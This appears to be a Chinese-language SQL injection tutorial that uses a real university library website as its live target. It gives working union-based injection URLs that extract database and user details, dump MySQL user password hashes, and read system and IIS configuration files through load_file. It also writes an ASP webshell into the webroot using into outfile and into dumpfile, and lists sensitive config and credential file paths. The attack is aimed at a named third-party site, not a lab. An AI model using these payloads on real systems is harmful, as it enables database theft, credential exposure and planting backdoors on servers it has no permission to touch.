目标站点:http://rizal.lib.admu.edu.ph/rlnews.asp?nID=192
可以看到网站使用了mysql作为数据库,并且注入点没有类似于magic_quotes_gpc那样对单引号进行转义(只有没对单引号、双引号做转义才能够通过注入写shell)。
一、基本注入
1、获取数据库基本信息
(1)user()
数据库的用户,格式为 user @ server 例如 root@ localhost 通常最高管理账户为root,服务器以localhost也就是本地居多,也可以是服务器名例如mysqldbsever,也可以是ip例如192.168.100.111.所有的user,都会在mysql数据库的user表段中记录,用于设置权限等
http://rizal.lib.admu.edu.ph/rlnews.asp?nID=192 and 1=2 union select 1,2,3,4,user(),6,7,8
(2)version()
当前使用的数据库的版本,通常为4.x或者5.x,更低版本没遇到过,存在更高级的6.x的版本,版本最后通常会表明系统的版本,例如5.x.x-nt表示nt(windows)系统下使用的mysql版本
http://rizal.lib.admu.edu.ph/rlnews.asp?nID=192 and 1=2 union select 1,2,3,4,version(),6,7,8
(3)database()
当前数据库名,网站建设者任意给予的数据库的名称.
http://rizal.lib.admu.edu.ph/rlnews.asp?nID=192 and 1=2 union select 1,2,3,4,database(),6,7,8
(4)@@datadir
http://rizal.lib.admu.edu.ph/rlnews.asp?nID=192 and 1=2 union select 1,2,3,4,@@datadir,6,7,8
数据路径。数据库储存数据总要有个路径放数据,就是这里了。windows常用,通常用于load_file时猜测网站路径等。例如c:\program files\mysql5\data\
(5)@@basedir
2、获取mysql用户信息
http://rizal.lib.admu.edu.ph/rlnews.asp?nID=192 and 1=2 union select 1,2,3,4,group_concat(host,0x3a,user,0x3a,password),6,7,8 from mysql.user
3、获取数据库,表,字段,数据
Mysql 5 以上有内置库 information_schema,存储着mysql的所有数据库和表结构信息。
(1)获取数据库
http://rizal.lib.admu.edu.ph/rlnews.asp?nID=192 and 1=2 union select 1,2,3,4,group_concat(SCHEMA_NAME),6,7,8 from information_schema.SCHEMATA
(2)获取表名
http://rizal.lib.admu.edu.ph/rlnews.asp?nID=192 and 1=2 union select 1,2,3,4,group_concat(TABLE_NAME),6,7,8 from information_schema.TABLES where TABLE_SCHEMA=database()
(3)获取列名
http://rizal.lib.admu.edu.ph/rlnews.asp?nID=192 and 1=2 union select 1,2,3,4,group_concat(COLUMN_NAME),6,7,8 from information_schema.COLUMNS where TABLE_NAME='asklib'
(4)获取数据
http://rizal.lib.admu.edu.ph/rlnews.asp?nID=192 and 1=2 union select 1,2,3,4,group_concat(Name),6,7,8 from dbnews.asklib
二、通过注入读取文件
通过注入读文件使用load_file()命令。这是MySQL以文本方式读取文件的参数,例如:linux系统的网站load_file(‘/etc /passwd’)或者windows系统的网站load_file(‘c:\\boot.ini’)。这个参数可以用的前提是,你user()得到的用户名(参见关于mysql.user表介绍),在mysql.user表中的字段file_priv设置为Y(即用户有文件操作权限),则load_file()参数则可用。需要注意的是,如果为windows系统,保险起见将路径设置为双斜杠\\ 因为在计算机语言中双斜杠才是单斜杠的意思,如果为单斜杠,例如d:\table,那么这个路径中得\t就会被解析为键盘上的tab键,\n\r类似,最终得不到想要的结果。很多时候,php的网站的gpf会设置为on(就是对特殊字符做修改,例如单引号’自动修改为\’),那么load_file(‘c:\\boot.ini’)就变成:load_file(\’c:\\\\boot.ini\’)出现语法错误,得不到结果
解决方法就是,和concat参数一样,hex混用,将c:\\boot.ini进行hex编码,得 到:0x633a5c5c626f6f742e696e69,原语句修改 为:union+select+1,load_file(0x633a5c5c626f6f742e696e69)即可。使用load_file参数后面可以不加from。
如果知道网站物理路径,读取文件直接使用该命令即可;如果不知道网站物理路径,只能根据系统猜测各种配置文件保存路径,常见配置文件路径如下(稍后进行补充):
c:\\boot.ini C:\WINDOWS\system32\inetsrv\metabase.xml IIS网站配置文件 /etc /passwd
ps:当读取内容为空时试着hex编码一下。
http://rizal.lib.admu.edu.ph/rlnews.asp?nID=192 and 1=2 union select 1,2,3,4,load_file(0x633A5C5C77696E646F77735C5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C),6,7,8
http://rizal.lib.admu.edu.ph/rlnews.asp?nID=192 and 1=2 union select 1,2,3,4,hex(load_file(0x633A5C5C77696E646F77735C5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C)),6,7,8
ps:上面的0x633A5C5C77696E646F77735C5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C是路径c:\\windows\\system32\\inetsrv\\MetaBase.xml的hex编码。当gpc开启时必须将路径转换成hex编码来能成功读文件。当gpc关闭时,可以直接使用路径(即由引号包围的路径)。
ps:获取的数据是经过hex()编码的数据,需要转换过来,可以使用winhex来进行转换。转换过程如下:
(1)用winhex新建文件
(2)拷贝注入得到的hex数据,在新建文件的offset为0的地方用Ctrl +V来进行粘贴,选择Ascii Hex格式,粘贴完成后保存文件即可。
(3)winhex保存文件,即可获取到解码后的内容
三、通过注入写文件
通过读取配置文件后,可以获取到网站的物理路径。注入写webshell文件的用法就是+union+select+webshell的hex编码+into+outfile+’网站屋里路径\\a.php’;
前提是gpc设置为off,有注入点,权限很大,file_priv设置为Y,已知网站路径。虽然条件苛刻,不过仍然就是有很多2B管理员创造了这样的条件。注意:需要gpc设置为off,因为物理路径外面需要引号包围。
(1)在配置文件C:\WINDOWS\system32\inetsrv\metabase.xml中找网站物理路径。
(2)通过outfile写文件
http://rizal.lib.admu.edu.ph/rlnews.asp?nID=192 and 1=2 union select 1,2,3,4,(select 5 from(select '<%Y=request("1")%> <%execute(Y)%>' into outfile 'c:\\inetpub\\wwwroot\\a.asp') ),6,7,8
或
http://rizal.lib.admu.edu.ph/rlnews.asp?nID=192 and 1=2 union select 1,2,3,4,(select 5 from(select 0x3c25593d726571756573742822312229253e3c2565786563757465285929253e into dumpfile 'c:\\inetpub\\wwwroot\\abc.asp') ),6,7,8
ps:使用panglion可以方便的通过注入读取和写入文件,其中使用的注入语句也是上面的outfile。
如:
写入文件的语句通过WExpert抓包下来为:
可以看到注入语句本质上是一样的,只是panglion通过char()函数来编码文件而已。
————————————————————————————————————–
常见网站配置文件
load_ file(char(47)) 可以列出FreeBSD,Sunos系统根目录 /etc tpd/conf tpd.conf或/usr/local/apche/conf tpd.conf 查看linux APACHE虚拟主机配置文件 c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf 查看WINDOWS系统apache文件 c:/Resin-3.0.14/conf/resin.conf 查看jsp开发的网站 resin文件配置信息. c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机 d:\APACHE\Apache2\conf\httpd.conf C:\Program Files\mysql\my.ini ../themes/darkblue_orange/layout.inc.php phpmyadmin 爆路径 c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置文件 /usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看 /usr/local/resin-pro-3.0.22/conf/resin.conf 同上 /usr/local/app/apache2/conf/extra tpd-vhosts.conf APASHE虚拟主机查看 /etc/sysconfig/iptables 本看防火墙策略 usr/local/app/php5 b/php.ini PHP 的相当设置 /etc/my.cnf MYSQL的配置文件 /etc/redhat-release 红帽子的系统版本 C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码 /etc/sysconfig/network-scripts/ifcfg-eth0 查看IP. /usr/local/app/php5 b/php.ini //PHP相关设置 /usr/local/app/apache2/conf/extra tpd-vhosts.conf //虚拟网站设置 C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini c:\windows\my.ini c:\boot.ini
参考文献:
3、php_mysql注入load _file()IIS配置文件获取